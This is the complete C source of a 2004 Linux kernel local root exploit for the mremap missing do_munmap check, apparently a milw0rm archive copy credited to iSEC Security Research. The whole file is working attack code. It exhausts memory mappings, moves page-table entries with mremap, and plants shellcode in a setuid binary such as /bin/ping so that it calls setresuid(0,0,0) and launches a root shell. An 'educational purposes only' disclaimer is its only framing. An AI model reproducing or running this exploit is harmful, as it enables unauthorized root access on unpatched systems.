300 lines
No EOL
5.9 KiB
C
300 lines
No EOL
5.9 KiB
C
/*
|
|
*
|
|
* mremap missing do_munmap return check kernel exploit
|
|
*
|
|
* gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
|
|
* ./mremap_pte [suid] [[shell]]
|
|
*
|
|
* Vulnerable kernel versions are all <= 2.2.25, <= 2.4.24 and <= 2.6.2
|
|
*
|
|
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
|
|
*
|
|
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
|
|
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
|
|
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
|
|
*
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <errno.h>
|
|
#include <unistd.h>
|
|
#include <syscall.h>
|
|
#include <signal.h>
|
|
#include <time.h>
|
|
#include <sched.h>
|
|
|
|
#include <sys/mman.h>
|
|
#include <sys/wait.h>
|
|
#include <sys/utsname.h>
|
|
|
|
#include <asm/page.h>
|
|
|
|
|
|
#define str(s) #s
|
|
#define xstr(s) str(s)
|
|
|
|
// this is for standard kernels with 3/1 split
|
|
#define STARTADDR 0x40000000
|
|
#define PGD_SIZE (PAGE_SIZE * 1024)
|
|
#define VICTIM (STARTADDR + PGD_SIZE)
|
|
#define MMAP_BASE (STARTADDR + 3*PGD_SIZE)
|
|
|
|
#define DSIGNAL SIGCHLD
|
|
#define CLONEFL (DSIGNAL|CLONE_VFORK|CLONE_VM)
|
|
|
|
#define MREMAP_MAYMOVE ( (1UL) << 0 )
|
|
#define MREMAP_FIXED ( (1UL) << 1 )
|
|
|
|
#define __NR_sys_mremap __NR_mremap
|
|
|
|
|
|
// how many ld.so pages? this is the .text section length (like cat
|
|
// /proc/self/maps) in pages
|
|
#define LINKERPAGES 0x14
|
|
|
|
// suid victim
|
|
static char *suid="/bin/ping";
|
|
|
|
// shell to start
|
|
static char *launch="/bin/bash";
|
|
|
|
|
|
_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d,
|
|
ulong, e);
|
|
unsigned long sys_mremap(unsigned long addr, unsigned long old_len,
|
|
unsigned long new_len, unsigned long flags,
|
|
unsigned long new_addr);
|
|
|
|
static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;
|
|
static int i, pid=0;
|
|
static char *env[2], *argv[2];
|
|
static ulong ret;
|
|
|
|
|
|
// code to appear inside the suid image
|
|
static void suid_code(void)
|
|
{
|
|
__asm__(
|
|
" call callme \n"
|
|
|
|
// setresuid(0, 0, 0), setresgid(0, 0, 0)
|
|
"jumpme: xorl %ebx, %ebx \n"
|
|
" xorl %ecx, %ecx \n"
|
|
" xorl %edx, %edx \n"
|
|
" xorl %eax, %eax \n"
|
|
" mov $"xstr(__NR_setresuid)", %al \n"
|
|
" int $0x80 \n"
|
|
" mov $"xstr(__NR_setresgid)", %al \n"
|
|
" int $0x80 \n"
|
|
|
|
// execve(launch)
|
|
" popl %ebx \n"
|
|
" andl $0xfffff000, %ebx \n"
|
|
" xorl %eax, %eax \n"
|
|
" pushl %eax \n"
|
|
" movl %esp, %edx \n"
|
|
" pushl %ebx \n"
|
|
" movl %esp, %ecx \n"
|
|
" mov $"xstr(__NR_execve)", %al \n"
|
|
" int $0x80 \n"
|
|
|
|
// exit
|
|
" xorl %eax, %eax \n"
|
|
" mov $"xstr(__NR_exit)", %al \n"
|
|
" int $0x80 \n"
|
|
|
|
"callme: jmp jumpme \n"
|
|
);
|
|
}
|
|
|
|
|
|
static int suid_code_end(int v)
|
|
{
|
|
return v+1;
|
|
}
|
|
|
|
|
|
static inline void get_esp(void)
|
|
{
|
|
__asm__(
|
|
" movl %%esp, %%eax \n"
|
|
" andl $0xfffff000, %%eax \n"
|
|
" movl %%eax, %0 \n"
|
|
: : "m"(old_esp)
|
|
);
|
|
}
|
|
|
|
|
|
static inline void cloneme(void)
|
|
{
|
|
__asm__(
|
|
" pusha \n"
|
|
" movl $("xstr(CLONEFL)"), %%ebx \n"
|
|
" movl %%esp, %%ecx \n"
|
|
" movl $"xstr(__NR_clone)", %%eax \n"
|
|
" int $0x80 \n"
|
|
" movl %%eax, %0 \n"
|
|
" popa \n"
|
|
: : "m"(pid)
|
|
);
|
|
}
|
|
|
|
|
|
static inline void my_execve(void)
|
|
{
|
|
__asm__(
|
|
" movl %1, %%ebx \n"
|
|
" movl %2, %%ecx \n"
|
|
" movl %3, %%edx \n"
|
|
" movl $"xstr(__NR_execve)", %%eax \n"
|
|
" int $0x80 \n"
|
|
: "=a"(ret)
|
|
: "m"(suid), "m"(argv), "m"(env)
|
|
);
|
|
}
|
|
|
|
|
|
static inline void pte_populate(unsigned addr)
|
|
{
|
|
unsigned r;
|
|
char *ptr;
|
|
|
|
memset((void*)addr, 0x90, PAGE_SIZE);
|
|
r = ((unsigned)suid_code_end) - ((unsigned)suid_code);
|
|
ptr = (void*) (addr + PAGE_SIZE);
|
|
ptr -= r+1;
|
|
memcpy(ptr, suid_code, r);
|
|
memcpy((void*)addr, launch, strlen(launch)+1);
|
|
}
|
|
|
|
|
|
// hit VMA limit & populate PTEs
|
|
static void exhaust(void)
|
|
{
|
|
// mmap PTE donor
|
|
t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,
|
|
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
|
|
if(MAP_FAILED==t)
|
|
goto failed;
|
|
|
|
// prepare shell code pages
|
|
for(i=2; i<LINKERPAGES+1; i++)
|
|
pte_populate(victim + PAGE_SIZE*i);
|
|
i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ);
|
|
if(i)
|
|
goto failed;
|
|
|
|
// lock unmap
|
|
base = MMAP_BASE;
|
|
cnt = 0;
|
|
prot = PROT_READ;
|
|
printf("\n"); fflush(stdout);
|
|
for(;;) {
|
|
t = mmap((void*)base, PAGE_SIZE, prot,
|
|
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
|
|
if(MAP_FAILED==t) {
|
|
if(ENOMEM==errno)
|
|
break;
|
|
else
|
|
goto failed;
|
|
}
|
|
if( !(cnt%512) || cnt>65520 )
|
|
printf("\r MMAP #%d 0x%.8x - 0x%.8lx", cnt, base,
|
|
base+PAGE_SIZE); fflush(stdout);
|
|
base += PAGE_SIZE;
|
|
prot ^= PROT_EXEC;
|
|
cnt++;
|
|
}
|
|
|
|
// move PTEs & populate page table cache
|
|
ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,
|
|
MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);
|
|
if(-1==ret)
|
|
goto failed;
|
|
|
|
munmap((void*)MMAP_BASE, old_esp-MMAP_BASE);
|
|
t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE,
|
|
PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0,
|
|
0);
|
|
if(MAP_FAILED==t)
|
|
goto failed;
|
|
|
|
*t = *((unsigned *)old_esp);
|
|
munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));
|
|
printf("\n[+] Success\n\n"); fflush(stdout);
|
|
return;
|
|
|
|
failed:
|
|
printf("\n[-] Failed\n"); fflush(stdout);
|
|
_exit(0);
|
|
}
|
|
|
|
|
|
static inline void check_kver(void)
|
|
{
|
|
static struct utsname un;
|
|
int a=0, b=0, c=0, v=0, e=0, n;
|
|
|
|
uname(&un);
|
|
n=sscanf(un.release, "%d.%d.%d", &a, &b, &c);
|
|
if(n!=3 || a!=2) {
|
|
printf("\n[-] invalid kernel version string\n");
|
|
_exit(0);
|
|
}
|
|
|
|
if(b==2) {
|
|
if(c<=25)
|
|
v=1;
|
|
}
|
|
else if(b==3) {
|
|
if(c<=99)
|
|
v=1;
|
|
}
|
|
else if(b==4) {
|
|
if(c>18 && c<=24)
|
|
v=1, e=1;
|
|
else if(c>24)
|
|
v=0, e=0;
|
|
else
|
|
v=1, e=0;
|
|
}
|
|
else if(b==5 && c<=75)
|
|
v=1, e=1;
|
|
else if(b==6 && c<=2)
|
|
v=1, e=1;
|
|
|
|
printf("\n[+] kernel %s vulnerable: %s exploitable %s",
|
|
un.release, v? "YES" : "NO", e? "YES" : "NO" );
|
|
fflush(stdout);
|
|
|
|
if(v && e)
|
|
return;
|
|
_exit(0);
|
|
}
|
|
|
|
|
|
int main(int ac, char **av)
|
|
{
|
|
// prepare
|
|
check_kver();
|
|
memset(env, 0, sizeof(env));
|
|
memset(argv, 0, sizeof(argv));
|
|
if(ac>1) suid=av[1];
|
|
if(ac>2) launch=av[2];
|
|
argv[0] = suid;
|
|
get_esp();
|
|
|
|
// mmap & clone & execve
|
|
exhaust();
|
|
cloneme();
|
|
if(!pid) {
|
|
my_execve();
|
|
} else {
|
|
waitpid(pid, 0, 0);
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
// milw0rm.com [2004-03-01]
|